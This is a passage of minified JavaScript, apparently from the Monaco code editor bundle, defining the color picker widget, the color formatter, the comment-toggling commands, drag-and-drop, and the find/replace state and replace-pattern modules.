t=e/60,i=1-Math.abs(t%2-1),o=0,r=0,s=0;return t>=0&&t<1?(o=1,r=i):t>=1&&t<2?(o=i,r=1):t>=2&&t<3?(r=1,s=i):t>=3&&t<4?(r=i,s=1):t>=4&&t<5?(o=i,s=1):(o=1,s=i),o=Math.round(255*o),r=Math.round(255*r),s=Math.round(255*s),n.Color.fromRGBA(new n.RGBA(o,r,s))},e}();t.ColorPickerModel=r;var s=function(){return function(){}}();t.ISaturationState=s}),define(d[243],h([1,0,4,3,83,15,32]),function(e,t,n,i,o,r,s){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0});var a=n.$,u=function(e){function t(t,i){var o=e.call(this)||this;return o.widget=t,o.model=i,o.pixelRatio=o.widget.editor.getConfiguration().pixelRatio,o.domNode=a(\".colorpicker-body\"),n.append(t.getDomNode(),o.domNode),o.drawSaturationBox(),o.drawOpacityStrip(),o.drawHueStrip(),o.registerListeners(),o}return f(t,e),t.prototype.fillOpacityOverlay=function(e){var t=e.toRGBA(),n=t.r,i=t.g,o=t.b;this.opacityOverlay.style.background=\"linear-gradient(to bottom, rgba(\"+n+\", \"+i+\", \"+o+\", 1) 0%, rgba(\"+n+\", \"+i+\", \"+o+\", 0) 100%)\"},t.prototype.registerListeners=function(){var e=this,t=this._register(new o.GlobalMouseMoveMonitor);this._register(n.addDisposableListener(this.saturationBox.domNode,n.EventType.MOUSE_DOWN,function(n){e.saturationListener(n,t)})),this._register(n.addDisposableListener(this.hueStrip,n.EventType.MOUSE_DOWN,function(n){e.stripListener(e.hueStrip,n,t)})),this._register(n.addDisposableListener(this.opacityStrip,n.EventType.MOUSE_DOWN,function(n){e.stripListener(e.opacityStrip,n,t)}))},t.prototype.saturationListener=function(e,t){var n=this;if(0===e.button){var i,r,a=function(e,t){var i=n.saturationBox.extractColor(e,t).toRGBA();n.widget.model.color=s.Color.fromRGBA(new s.RGBA(i.r,i.g,i.b,255*n.widget.model.opacity)),n.saturationBox.focusSaturationSelection({x:e,y:t})};e.target!==this.saturationBox.saturationSelection?(i=e.offsetX,r=e.offsetY,a(i,r)):(i=this.widget.model.saturationSelection.x,r=this.widget.model.saturationSelection.y);var u=e.clientY,l=e.clientX;t.startMonitoring(o.standardMouseMoveMerger,function(e){var t=e.posx-l,n=e.posy-u;a(i+t,r+n)},function(){return null})}},t.prototype.stripListener=function(e,t,n){var i=this;if(0===t.button){var s=e===this.hueStrip?this.hueSlider:this.opacitySlider,a=e===this.hueStrip?this.hueStrip:this.opacityStrip;t.target!==this.hueStrip&&t.target!==this.opacityStrip||(s.top=t.offsetY);var u=function(){s===i.hueSlider?i.widget.model.hue=i.calculateSliderHue(s):s===i.opacitySlider&&(i.widget.model.opacity=i.calculateOpacity(s))};u();var l=t.clientY,c=t.clientX,d=s.top;n.startMonitoring(o.standardMouseMoveMerger,function(e){a.style.cursor=\"-webkit-grabbing\";var t=Math.abs(e.posx-c);if(r.isWindows&&t>140)return s.top=0,void(s===i.hueSlider?i.widget.model.hue=0:s===i.opacitySlider&&(i.widget.model.opacity=1));var n=e.posy-l;s.top=d+n,u()},function(){a.style.cursor=\"-webkit-grab\"})}},t.prototype.drawSaturationBox=function(){this.saturationBox=new l(this.model,this.domNode,this.pixelRatio)},t.prototype.drawOpacityStrip=function(){this.opacityStrip=a(\".strip.opacity-strip\"),n.append(this.domNode,this.opacityStrip),this.opacityOverlay=a(\".opacity-overlay\"),this.fillOpacityOverlay(this.model.color),n.append(this.opacityStrip,this.opacityOverlay),this.opacitySlider=new c(this.opacityStrip),this.opacitySlider.top=1===this.model.opacity?0:this.opacityStrip.offsetHeight*(1-this.model.opacity),n.append(this.opacityStrip,this.opacitySlider.domNode)},t.prototype.drawHueStrip=function(){this.hueStrip=a(\".strip.hue-strip\"),n.append(this.domNode,this.hueStrip),this.hueSlider=new c(this.hueStrip),n.append(this.hueStrip,this.hueSlider.domNode),this.hueSlider.top=(this.hueStrip.offsetHeight-this.hueSlider.domNode.offsetHeight)*(this.model.color.getHue()/359)},t.prototype.calculateSliderHue=function(e){var t=this.hueStrip.offsetHeight-e.domNode.offsetHeight;return 359*(1-(t-e.top)/t)},t.prototype.calculateOpacity=function(e){var t=this.opacityStrip.offsetHeight-e.domNode.offsetHeight;return(t-e.top)/t},t}(i.Disposable);t.ColorPickerBody=u;var l=function(){function e(e,t,i){this.model=e,this.pixelRatio=i,this.domNode=a(\".saturation-wrap\"),n.append(t,this.domNode),this.saturationCanvas=document.createElement(\"canvas\"),this.saturationCanvas.className=\"saturation-box\",n.append(this.domNode,this.saturationCanvas),this.saturationSelection=a(\".saturation-selection\"),n.append(this.domNode,this.saturationSelection)}return e.prototype.layout=function(){var e=this.domNode.offsetWidth*this.pixelRatio,t=this.domNode.offsetHeight*this.pixelRatio;this.saturationCanvas.width=e,this.saturationCanvas.height=t,this.saturationCtx=this.saturationCanvas.getContext(\"2d\"),this.saturationCtx.rect(0,0,e,t);var n=document.createElement(\"canvas\").getContext(\"2d\");this.whiteGradient=n.createLinearGradient(0,0,e,0),this.whiteGradient.addColorStop(0,\"rgba(255, 255, 255, 1)\"),this.whiteGradient.addColorStop(1,\"rgba(255, 255, 255, 0)\"),this.blackGradient=n.createLinearGradient(0,0,0,t),this.blackGradient.addColorStop(0,\"rgba(0, 0, 0, 0)\"),this.blackGradient.addColorStop(1,\"rgba(0, 0, 0, 1)\"),this.fillSaturationBox();var i=this.model.saturation*this.saturationCanvas.clientWidth,o=this.model.value*this.saturationCanvas.clientHeight,r=0===o?this.saturationCanvas.clientHeight:this.saturationCanvas.clientHeight-o;this.focusSaturationSelection({x:i,y:r})},e.prototype.fillSaturationBox=function(){if(this.saturationCtx.fillStyle=this.calculateHueColor(this.model.hue).toString(),this.saturationCtx.fill(),this.saturationCtx.fillStyle=this.whiteGradient,this.saturationCtx.fill(),this.saturationCtx.fillStyle=this.blackGradient,this.saturationCtx.fill(),this.model.saturationSelection){var e=s.Color.fromHSV(this.model.hue,this.model.saturation,this.model.value,255*this.model.opacity);this.model.color=e}},e.prototype.focusSaturationSelection=function(e){var t=e.x,n=e.y;t<0?t=0:t>this.domNode.offsetWidth&&(t=this.domNode.offsetWidth),n<0?n=0:n>this.domNode.offsetHeight&&(n=this.domNode.offsetHeight),this.saturationSelection.style.left=t+\"px\",this.saturationSelection.style.top=n+\"px\",this.model.saturationSelection={x:t,y:n}},e.prototype.extractColor=function(e,t){var n=1-e/this.domNode.offsetWidth,i=t/this.domNode.offsetHeight,o=s.Color.fromRGBA(new s.RGBA(255,255,255,255*n));return s.Color.fromRGBA(new s.RGBA(0,0,0,255*i)).blend(o).blend(this.calculateHueColor(this.model.hue))},e.prototype.calculateHueColor=function(e){var t=e/60,n=1-Math.abs(t%2-1),i=0,o=0,r=0;return t>=0&&t<1?(i=1,o=n):t>=1&&t<2?(i=n,o=1):t>=2&&t<3?(o=1,r=n):t>=3&&t<4?(o=n,r=1):t>=4&&t<5?(i=n,r=1):(i=1,r=n),i=Math.round(255*i),o=Math.round(255*o),r=Math.round(255*r),s.Color.fromRGBA(new s.RGBA(i,o,r))},e}();t.SaturationBox=l;var c=function(){function e(e){this.strip=e,this.domNode=a(\".slider\"),this._top=0}return Object.defineProperty(e.prototype,\"top\",{get:function(){return this._top},set:function(e){e<0?e=0:e>this.strip.offsetHeight-this.domNode.offsetHeight&&(e=this.strip.offsetHeight-this.domNode.offsetHeight),this.domNode.style.top=e+\"px\",this._top=e},enumerable:!0,configurable:!0}),e}()}),define(d[244],h([1,0,4,3]),function(e,t,n,i){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0});var o=n.$,r=function(e){function t(t,i){var r=e.call(this)||this;return r.widget=t,r.model=i,r.domNode=o(\".colorpicker-header\"),n.append(t.getDomNode(),r.domNode),r.drawPickedColorBox(),r.drawOriginalColorBox(),n.addDisposableListener(r.pickedColorNode,n.EventType.CLICK,function(){0!==r.model.colorFormatters.length&&r.model.nextColorMode()}),r}return f(t,e),t.prototype.updatePickedColor=function(){this.pickedColorNode.textContent=this.model.selectedColorString,this.pickedColorNode.style.backgroundColor=this.model.color.toString()},t.prototype.drawPickedColorBox=function(){this.pickedColorNode=o(\".picked-color\"),this.pickedColorNode.style.backgroundColor=this.model.color.toString(),this.pickedColorNode.textContent=this.model.selectedColorString,n.append(this.domNode,this.pickedColorNode)},t.prototype.drawOriginalColorBox=function(){var e=o(\".original-color\");e.style.backgroundColor=this.model.originalColor,n.append(this.domNode,e)},t}(i.Disposable);t.ColorPickerHeader=r}),define(d[245],h([1,0,41,4,28,244,243,316]),function(e,t,n,i,o,r,s){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0});var a=i.$,u=function(e){function t(t,n){var i=e.call(this)||this;return i.model=t,i.editor=n,i.visible=!1,i._register(o.onDidChangeZoomLevel(function(){return i.layout()})),i.domNode=a(\".editor-widget.colorpicker-widget\"),i}return f(t,e),t.prototype.layout=function(){this.visible||(this.header=new r.ColorPickerHeader(this,this.model),this.body=new s.ColorPickerBody(this,this.model),this.visible=!0)},t.prototype.layoutSaturationBox=function(){this.body.saturationBox.layout()},t.prototype.dispose=function(){this.visible=!1,this.domNode=null,e.prototype.dispose.call(this)},t.prototype.getId=function(){return t.ID},t.prototype.getDomNode=function(){return this.domNode},t.ID=\"editor.contrib.colorPickerWidget\",t}(n.Widget);t.ColorPickerWidget=u}),define(d[246],h([1,0]),function(e,t){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0}),t.isColorDecorationOptions=function(e){return!(!e||!e.color)}}),define(d[247],h([1,0]),function(e,t){\"use strict\";function n(e){return function(){return e}}function i(e,t,n,i){var o=e;if(t||n){if(t>n)throw new Error(\"Color format range defined is not correct. Range start is bigger than end.\");if(t===n)throw new Error(\"Color format range defined is not correct. Range start is the same as end.\");o=o/i*(n-t)+t}return o}function o(e,t,n,o,u){return function(l){var c;switch(e){case\"red\":c=i(l.toRGBA().r,o,u,r);break;case\"green\":c=i(l.toRGBA().g,o,u,r);break;case\"blue\":c=i(l.toRGBA().b,o,u,r);break;case\"alpha\":c=i(l.toRGBA().a,o,u,r);break;case\"hue\":c=i(l.toHSLA().h,o,u,s);break;case\"saturation\":c=i(l.toHSLA().s,o,u,a);break;case\"luminosity\":c=i(l.toHSLA().l,o,u,a)}if(void 0===c)throw new Error(e+\" is not supported as a color format.\");var d;return\"f\"===n?(t=t||2,d=c.toFixed(t)):\"x\"===n||\"X\"===n?(2!==(d=i(c,o,u,r).toString(16)).length&&(d=\"0\"+d),\"X\"===n&&(d=d.toUpperCase())):d=c.toFixed(0),d.toString()}}Object.defineProperty(t,\"__esModule\",{value:!0});var r=255,s=360,a=1,u=function(){function e(e){this.tree=[],this.parse(e)}return e.prototype.parse=function(t){for(var i=e.PATTERN.exec(t),r=0;null!==i;){var s=i.index;r<s&&this.tree.push(n(t.substring(r,s)));var a=i[1];if(!a)throw new Error(a+\" is not defined.\");var u=parseInt(i[2]),l=i[3],c=parseInt(i[4]),d=parseInt(i[5]);this.tree.push(o(a,u,l,c,d)),r=s+i[0].length,i=e.PATTERN.exec(t)}this.tree.push(n(t.substring(r,t.length)))},e.prototype.toString=function(e){var t=[];return this.tree.forEach(function(n){t.push(n(e))}),t.join(\"\")},e.PATTERN=/{(\\w+)(?::(\\d*)(\\w)+(?:\\[(\\d+)-(\\d+)\\])?)?}/g,e}();t.ColorFormatter=u}),define(d[248],h([1,0,7,17,18,10]),function(e,t,n,i,o,r){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0}),t.getColors=function(e){var t=[],s=i.ColorProviderRegistry.ordered(e).reverse().map(function(n){return o.asWinJsPromise(function(t){return n.provideColorRanges(e,t)}).then(function(e){Array.isArray(e)&&(t=t.concat(e))},r.onUnexpectedExternalError)});return n.TPromise.join(s).then(function(){return t})}}),define(d[189],h([1,0,59,12,2,22,43]),function(e,t,n,i,o,r,s){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0});var a=function(){function e(e){this._selection=e,this._usedEndToken=null}return e._haystackHasNeedleAtOffset=function(e,t,n){if(n<0)return!1;var i=t.length;if(n+i>e.length)return!1;for(var o=0;o<i;o++)if(e.charCodeAt(n+o)!==t.charCodeAt(o))return!1;return!0},e.prototype._createOperationsForBlockComment=function(t,n,i,r){var s,a=t.startLineNumber,u=t.startColumn,l=t.endLineNumber,c=t.endColumn,d=n.blockCommentStartToken,h=n.blockCommentEndToken,p=i.getLineContent(a).lastIndexOf(d,u-1+d.length),f=i.getLineContent(l).indexOf(h,c-1-h.length);-1!==p&&-1!==f?(32===i.getLineContent(a).charCodeAt(p+d.length)&&(d+=\" \"),32===i.getLineContent(l).charCodeAt(f-1)&&(h=\" \"+h,f-=1),s=e._createRemoveBlockCommentOperations(new o.Range(a,p+1+d.length,l,f+1),d,h)):(s=e._createAddBlockCommentOperations(t,d,h),this._usedEndToken=1===s.length?h:null);for(var g=0;g<s.length;g++)r.addTrackedEditOperation(s[g].range,s[g].text)},e._createRemoveBlockCommentOperations=function(e,t,i){var r=[];return o.Range.isEmpty(e)?r.push(n.EditOperation.delete(new o.Range(e.startLineNumber,e.startColumn-t.length,e.endLineNumber,e.endColumn+i.length))):(r.push(n.EditOperation.delete(new o.Range(e.startLineNumber,e.startColumn-t.length,e.startLineNumber,e.startColumn))),r.push(n.EditOperation.delete(new o.Range(e.endLineNumber,e.endColumn,e.endLineNumber,e.endColumn+i.length)))),r},e._createAddBlockCommentOperations=function(e,t,r){var s=[];return o.Range.isEmpty(e)?s.push(n.EditOperation.replace(new o.Range(e.startLineNumber,e.startColumn,e.endLineNumber,e.endColumn),t+\"  \"+r)):(s.push(n.EditOperation.insert(new i.Position(e.startLineNumber,e.startColumn),t+\" \")),s.push(n.EditOperation.insert(new i.Position(e.endLineNumber,e.endColumn),\" \"+r))),s},e.prototype.getEditOperations=function(e,t){var n=this._selection.startLineNumber,i=this._selection.startColumn,r=this._selection.endLineNumber,a=this._selection.endColumn;e.forceTokenization(n);var u=e.getLanguageIdAtPosition(n,i),l=s.LanguageConfigurationRegistry.getComments(u);l&&l.blockCommentStartToken&&l.blockCommentEndToken&&this._createOperationsForBlockComment(new o.Range(n,i,r,a),l,e,t)},e.prototype.computeCursorState=function(e,t){var n=t.getInverseEditOperations();if(2===n.length){var i=n[0],o=n[1];return new r.Selection(i.range.endLineNumber,i.range.endColumn,o.range.startLineNumber,o.range.startColumn)}var s=n[0].range,a=this._usedEndToken?-this._usedEndToken.length-1:0;return new r.Selection(s.endLineNumber,s.endColumn+a,s.endLineNumber,s.endColumn+a)},e}();t.BlockCommentCommand=a}),define(d[250],h([1,0,9,59,12,2,22,189,43]),function(e,t,n,i,o,r,s,a,u){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0});!function(e){e[e.Toggle=0]=\"Toggle\",e[e.ForceAdd=1]=\"ForceAdd\",e[e.ForceRemove=2]=\"ForceRemove\"}(t.Type||(t.Type={}));var l=function(){function e(e,t,n){this._selection=e,this._tabSize=t,this._type=n,this._deltaColumn=0}return e._gatherPreflightCommentStrings=function(e,t,n){e.forceTokenization(t);var i=e.getLanguageIdAtPosition(t,1),o=u.LanguageConfigurationRegistry.getComments(i),r=o?o.lineCommentToken:null;if(!r)return null;for(var s=[],a=0,l=n-t+1;a<l;a++)s[a]={ignore:!1,commentStr:r,commentStrOffset:0,commentStrLength:r.length};return s},e._analyzeLines=function(e,t,i,o){var r,s,u,l,c,d,h,p,f=!0;for(h=0===e||1!==e,l=0,c=i.length;l<c;l++)r=i[l],d=o+l,p=t.getLineContent(d),-1!==(s=n.firstNonWhitespaceIndex(p))?(f=!1,r.ignore=!1,r.commentStrOffset=s,h&&!a.BlockCommentCommand._haystackHasNeedleAtOffset(p,r.commentStr,s)&&(0===e?h=!1:1===e||(r.ignore=!0)),h&&(u=s+r.commentStrLength)<p.length&&32===p.charCodeAt(u)&&(r.commentStrLength+=1)):(r.ignore=!0,r.commentStrOffset=p.length);if(0===e&&f)for(h=!1,l=0,c=i.length;l<c;l++)i[l].ignore=!1;return{supported:!0,shouldRemoveComments:h,lines:i}},e._gatherPreflightData=function(t,n,i,o){var r=e._gatherPreflightCommentStrings(n,i,o);return null===r?{supported:!1,shouldRemoveComments:!1,lines:null}:e._analyzeLines(t,n,r,i)},e.prototype._executeLineComments=function(t,n,i,r){var s;i.shouldRemoveComments?s=e._createRemoveLineCommentsOperations(i.lines,r.startLineNumber):(e._normalizeInsertionPoint(t,i.lines,r.startLineNumber,this._tabSize),s=e._createAddLineCommentsOperations(i.lines,r.startLineNumber));for(var a=new o.Position(r.positionLineNumber,r.positionColumn),u=0,l=s.length;u<l;u++)n.addEditOperation(s[u].range,s[u].text),s[u].range.isEmpty()&&s[u].range.getStartPosition().equals(a)&&(this._deltaColumn=s[u].text.length);this._selectionId=n.trackSelection(r)},e.prototype._attemptRemoveBlockComment=function(e,t,n,i){var o=t.startLineNumber,s=t.endLineNumber,u=i.length+Math.max(e.getLineFirstNonWhitespaceColumn(t.startLineNumber),t.startColumn),l=e.getLineContent(o).lastIndexOf(n,u-1),c=e.getLineContent(s).indexOf(i,t.endColumn-1-n.length);return-1!==l&&-1===c&&(c=e.getLineContent(o).indexOf(i,l+n.length),s=o),-1===l&&-1!==c&&(l=e.getLineContent(s).lastIndexOf(n,c),o=s),!t.isEmpty()||-1!==l&&-1!==c||-1!==(l=e.getLineContent(o).indexOf(n))&&(c=e.getLineContent(o).indexOf(i,l+n.length)),-1!==l&&32===e.getLineContent(o).charCodeAt(l+n.length)&&(n+=\" \"),-1!==c&&32===e.getLineContent(s).charCodeAt(c-1)&&(i=\" \"+i,c-=1),-1!==l&&-1!==c?a.BlockCommentCommand._createRemoveBlockCommentOperations(new r.Range(o,l+n.length+1,s,c+1),n,i):null},e.prototype._executeBlockComment=function(e,t,i){e.forceTokenization(i.startLineNumber);var o=e.getLanguageIdAtPosition(i.startLineNumber,i.startColumn),s=u.LanguageConfigurationRegistry.getComments(o);if(s&&s.blockCommentStartToken&&s.blockCommentEndToken){var l=s.blockCommentStartToken,c=s.blockCommentEndToken,d=this._attemptRemoveBlockComment(e,i,l,c);if(!d){if(i.isEmpty()){var h=e.getLineContent(i.startLineNumber),p=n.firstNonWhitespaceIndex(h);-1===p&&(p=h.length),d=a.BlockCommentCommand._createAddBlockCommentOperations(new r.Range(i.startLineNumber,p+1,i.startLineNumber,h.length+1),l,c)}else d=a.BlockCommentCommand._createAddBlockCommentOperations(new r.Range(i.startLineNumber,e.getLineFirstNonWhitespaceColumn(i.startLineNumber),i.endLineNumber,e.getLineMaxColumn(i.endLineNumber)),l,c);1===d.length&&(this._deltaColumn=l.length+1)}this._selectionId=t.trackSelection(i);for(var f=0;f<d.length;f++)t.addEditOperation(d[f].range,d[f].text)}},e.prototype.getEditOperations=function(t,n){var i=this._selection;this._moveEndPositionDown=!1,i.startLineNumber<i.endLineNumber&&1===i.endColumn&&(this._moveEndPositionDown=!0,i=i.setEndPosition(i.endLineNumber-1,t.getLineMaxColumn(i.endLineNumber-1)));var o=e._gatherPreflightData(this._type,t,i.startLineNumber,i.endLineNumber);return o.supported?this._executeLineComments(t,n,o,i):this._executeBlockComment(t,n,i)},e.prototype.computeCursorState=function(e,t){var n=t.getTrackedSelection(this._selectionId);return this._moveEndPositionDown&&(n=n.setEndPosition(n.endLineNumber+1,1)),new s.Selection(n.startLineNumber,n.startColumn+this._deltaColumn,n.endLineNumber,n.endColumn+this._deltaColumn)},e._createRemoveLineCommentsOperations=function(e,t){var n,o,s,a=[];for(n=0,o=e.length;n<o;n++)(s=e[n]).ignore||a.push(i.EditOperation.delete(new r.Range(t+n,s.commentStrOffset+1,t+n,s.commentStrOffset+s.commentStrLength+1)));return a},e._createAddLineCommentsOperations=function(e,t){var n,r,s,a=[];for(n=0,r=e.length;n<r;n++)(s=e[n]).ignore||a.push(i.EditOperation.insert(new o.Position(t+n,s.commentStrOffset+1),s.commentStr+\" \"));return a},e.nextVisibleColumn=function(e,t,n,i){return n?e+(t-e%t):e+i},e._normalizeInsertionPoint=function(t,n,i,o){var r,s,a,u,l,c,d=Number.MAX_VALUE;for(r=0,s=n.length;r<s;r++)if(!n[r].ignore){for(a=t.getLineContent(i+r),c=0,u=0,l=n[r].commentStrOffset;c<d&&u<l;u++)c=e.nextVisibleColumn(c,o,9===a.charCodeAt(u),1);c<d&&(d=c)}for(d=Math.floor(d/o)*o,r=0,s=n.length;r<s;r++)if(!n[r].ignore){for(a=t.getLineContent(i+r),c=0,u=0,l=n[r].commentStrOffset;c<d&&u<l;u++)c=e.nextVisibleColumn(c,o,9===a.charCodeAt(u),1);n[r].commentStrOffset=c>d?u-1:u}},e}();t.LineCommentCommand=l}),define(d[251],h([1,0,22,2]),function(e,t,n,i){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0});var o=function(){function e(e,t,n){this.selection=e,this.targetPosition=t,this.copy=n}return e.prototype.getEditOperations=function(e,t){var o=e.getValueInRange(this.selection);this.copy||t.addEditOperation(this.selection,null),t.addEditOperation(new i.Range(this.targetPosition.lineNumber,this.targetPosition.column,this.targetPosition.lineNumber,this.targetPosition.column),o),!this.selection.containsPosition(this.targetPosition)||this.copy&&(this.selection.getEndPosition().equals(this.targetPosition)||this.selection.getStartPosition().equals(this.targetPosition))?this.copy?this.targetSelection=new n.Selection(this.targetPosition.lineNumber,this.targetPosition.column,this.selection.endLineNumber-this.selection.startLineNumber+this.targetPosition.lineNumber,this.selection.startLineNumber===this.selection.endLineNumber?this.targetPosition.column+this.selection.endColumn-this.selection.startColumn:this.selection.endColumn):this.targetPosition.lineNumber>this.selection.endLineNumber?this.targetSelection=new n.Selection(this.targetPosition.lineNumber-this.selection.endLineNumber+this.selection.startLineNumber,this.targetPosition.column,this.targetPosition.lineNumber,this.selection.startLineNumber===this.selection.endLineNumber?this.targetPosition.column+this.selection.endColumn-this.selection.startColumn:this.selection.endColumn):this.targetPosition.lineNumber<this.selection.endLineNumber?this.targetSelection=new n.Selection(this.targetPosition.lineNumber,this.targetPosition.column,this.targetPosition.lineNumber+this.selection.endLineNumber-this.selection.startLineNumber,this.selection.startLineNumber===this.selection.endLineNumber?this.targetPosition.column+this.selection.endColumn-this.selection.startColumn:this.selection.endColumn):this.selection.endColumn<=this.targetPosition.column?this.targetSelection=new n.Selection(this.targetPosition.lineNumber-this.selection.endLineNumber+this.selection.startLineNumber,(this.selection.startLineNumber,this.selection.endLineNumber,this.targetPosition.column-this.selection.endColumn+this.selection.startColumn),this.targetPosition.lineNumber,this.selection.startLineNumber===this.selection.endLineNumber?this.targetPosition.column:this.selection.endColumn):this.targetSelection=new n.Selection(this.targetPosition.lineNumber-this.selection.endLineNumber+this.selection.startLineNumber,this.targetPosition.column,this.targetPosition.lineNumber,this.targetPosition.column+this.selection.endColumn-this.selection.startColumn):this.targetSelection=this.selection},e.prototype.computeCursorState=function(e,t){return this.targetSelection},e}();t.DragAndDropCommand=o}),define(d[252],h([1,0]),function(e,t){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0}),t.getSelectionSearchString=function(e){var t=e.getSelection();if(t.startLineNumber===t.endLineNumber){if(!t.isEmpty())return e.getModel().getValueInRange(t);var n=e.getModel().getWordAtPosition(t.getStartPosition());if(n)return n.word}return null}}),define(d[253],h([1,0,38,2]),function(e,t,n,i){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0});var o=function(){function e(){this._searchString=\"\",this._replaceString=\"\",this._isRevealed=!1,this._isReplaceRevealed=!1,this._isRegex=!1,this._wholeWord=!1,this._matchCase=!1,this._searchScope=null,this._matchesPosition=0,this._matchesCount=0,this._currentMatch=null,this._eventEmitter=new n.EventEmitter}return Object.defineProperty(e.prototype,\"searchString\",{get:function(){return this._searchString},enumerable:!0,configurable:!0}),Object.defineProperty(e.prototype,\"replaceString\",{get:function(){return this._replaceString},enumerable:!0,configurable:!0}),Object.defineProperty(e.prototype,\"isRevealed\",{get:function(){return this._isRevealed},enumerable:!0,configurable:!0}),Object.defineProperty(e.prototype,\"isReplaceRevealed\",{get:function(){return this._isReplaceRevealed},enumerable:!0,configurable:!0}),Object.defineProperty(e.prototype,\"isRegex\",{get:function(){return this._isRegex},enumerable:!0,configurable:!0}),Object.defineProperty(e.prototype,\"wholeWord\",{get:function(){return this._wholeWord},enumerable:!0,configurable:!0}),Object.defineProperty(e.prototype,\"matchCase\",{get:function(){return this._matchCase},enumerable:!0,configurable:!0}),Object.defineProperty(e.prototype,\"searchScope\",{get:function(){return this._searchScope},enumerable:!0,configurable:!0}),Object.defineProperty(e.prototype,\"matchesPosition\",{get:function(){return this._matchesPosition},enumerable:!0,configurable:!0}),Object.defineProperty(e.prototype,\"matchesCount\",{get:function(){return this._matchesCount},enumerable:!0,configurable:!0}),Object.defineProperty(e.prototype,\"currentMatch\",{get:function(){return this._currentMatch},enumerable:!0,configurable:!0}),e.prototype.dispose=function(){this._eventEmitter.dispose()},e.prototype.addChangeListener=function(t){return this._eventEmitter.addListener(e._CHANGED_EVENT,t)},e.prototype.changeMatchInfo=function(t,n,o){var r={moveCursor:!1,updateHistory:!1,searchString:!1,replaceString:!1,isRevealed:!1,isReplaceRevealed:!1,isRegex:!1,wholeWord:!1,matchCase:!1,searchScope:!1,matchesPosition:!1,matchesCount:!1,currentMatch:!1},s=!1;0===n&&(t=0),t>n&&(t=n),this._matchesPosition!==t&&(this._matchesPosition=t,r.matchesPosition=!0,s=!0),this._matchesCount!==n&&(this._matchesCount=n,r.matchesCount=!0,s=!0),void 0!==o&&(i.Range.equalsRange(this._currentMatch,o)||(this._currentMatch=o,r.currentMatch=!0,s=!0)),s&&this._eventEmitter.emit(e._CHANGED_EVENT,r)},e.prototype.change=function(t,n,o){void 0===o&&(o=!0);var r={moveCursor:n,updateHistory:o,searchString:!1,replaceString:!1,isRevealed:!1,isReplaceRevealed:!1,isRegex:!1,wholeWord:!1,matchCase:!1,searchScope:!1,matchesPosition:!1,matchesCount:!1,currentMatch:!1},s=!1;void 0!==t.searchString&&this._searchString!==t.searchString&&(this._searchString=t.searchString,r.searchString=!0,s=!0),void 0!==t.replaceString&&this._replaceString!==t.replaceString&&(this._replaceString=t.replaceString,r.replaceString=!0,s=!0),void 0!==t.isRevealed&&this._isRevealed!==t.isRevealed&&(this._isRevealed=t.isRevealed,r.isRevealed=!0,s=!0),void 0!==t.isReplaceRevealed&&this._isReplaceRevealed!==t.isReplaceRevealed&&(this._isReplaceRevealed=t.isReplaceRevealed,r.isReplaceRevealed=!0,s=!0),void 0!==t.isRegex&&this._isRegex!==t.isRegex&&(this._isRegex=t.isRegex,r.isRegex=!0,s=!0),void 0!==t.wholeWord&&this._wholeWord!==t.wholeWord&&(this._wholeWord=t.wholeWord,r.wholeWord=!0,s=!0),void 0!==t.matchCase&&this._matchCase!==t.matchCase&&(this._matchCase=t.matchCase,r.matchCase=!0,s=!0),void 0!==t.searchScope&&(i.Range.equalsRange(this._searchScope,t.searchScope)||(this._searchScope=t.searchScope,r.searchScope=!0,s=!0)),s&&this._eventEmitter.emit(e._CHANGED_EVENT,r)},e._CHANGED_EVENT=\"changed\",e}();t.FindReplaceState=o}),define(d[254],h([1,0,2]),function(e,t,n){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0});var i=function(){function e(e,t,n){this._editorSelection=e,this._ranges=t,this._replaceStrings=n}return e.prototype.getEditOperations=function(e,t){if(this._ranges.length>0){for(var i=[],o=0;o<this._ranges.length;o++)i.push({range:this._ranges[o],text:this._replaceStrings[o]});i.sort(function(e,t){return n.Range.compareRangesUsingStarts(e.range,t.range)});for(var r=[],s=i[0],o=1;o<i.length;o++)s.range.endLineNumber===i[o].range.startLineNumber&&s.range.endColumn===i[o].range.startColumn?(s.range=s.range.plusRange(i[o].range),s.text=s.text+i[o].text):(r.push(s),s=i[o]);r.push(s);for(o=0;o<r.length;o++)t.addEditOperation(r[o].range,r[o].text)}this._trackedEditorSelectionId=t.trackSelection(this._editorSelection)},e.prototype.computeCursorState=function(e,t){return t.getTrackedSelection(this._trackedEditorSelectionId)},e}();t.ReplaceAllCommand=i}),define(d[255],h([1,0]),function(e,t){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0});var n=function(){function e(e){e&&0!==e.length?1===e.length&&null!==e[0].staticValue?(this._staticValue=e[0].staticValue,this._pieces=null):(this._staticValue=null,this._pieces=e):(this._staticValue=\"\",this._pieces=null)}return e.fromStaticValue=function(t){return new e([i.staticValue(t)])},Object.defineProperty(e.prototype,\"hasReplacementPatterns\",{get:function(){return null===this._staticValue},enumerable:!0,configurable:!0}),e.prototype.buildReplaceString=function(t){if(null!==this._staticValue)return this._staticValue;for(var n=\"\",i=0,o=this._pieces.length;i<o;i++){var r=this._pieces[i];null===r.staticValue?n+=e._substitute(r.matchIndex,t):n+=r.staticValue}return n},e._substitute=function(e,t){if(0===e)return t[0];for(var n=\"\";e>0;){if(e<t.length)return(t[e]||\"\")+n;n=String(e%10)+n,e=Math.floor(e/10)}return\"$\"+n},e}();t.ReplacePattern=n;var i=function(){function e(e,t){this.staticValue=e,this.matchIndex=t}return e.staticValue=function(t){return new e(t,-1)},e.matchIndex=function(t){return new e(null,t)},e}();t.ReplacePiece=i;var o=function(){function e(e){this._source=e,this._lastCharIndex=0,this._result=[],this._resultLen=0,this._currentStaticPiece=\"\"}return 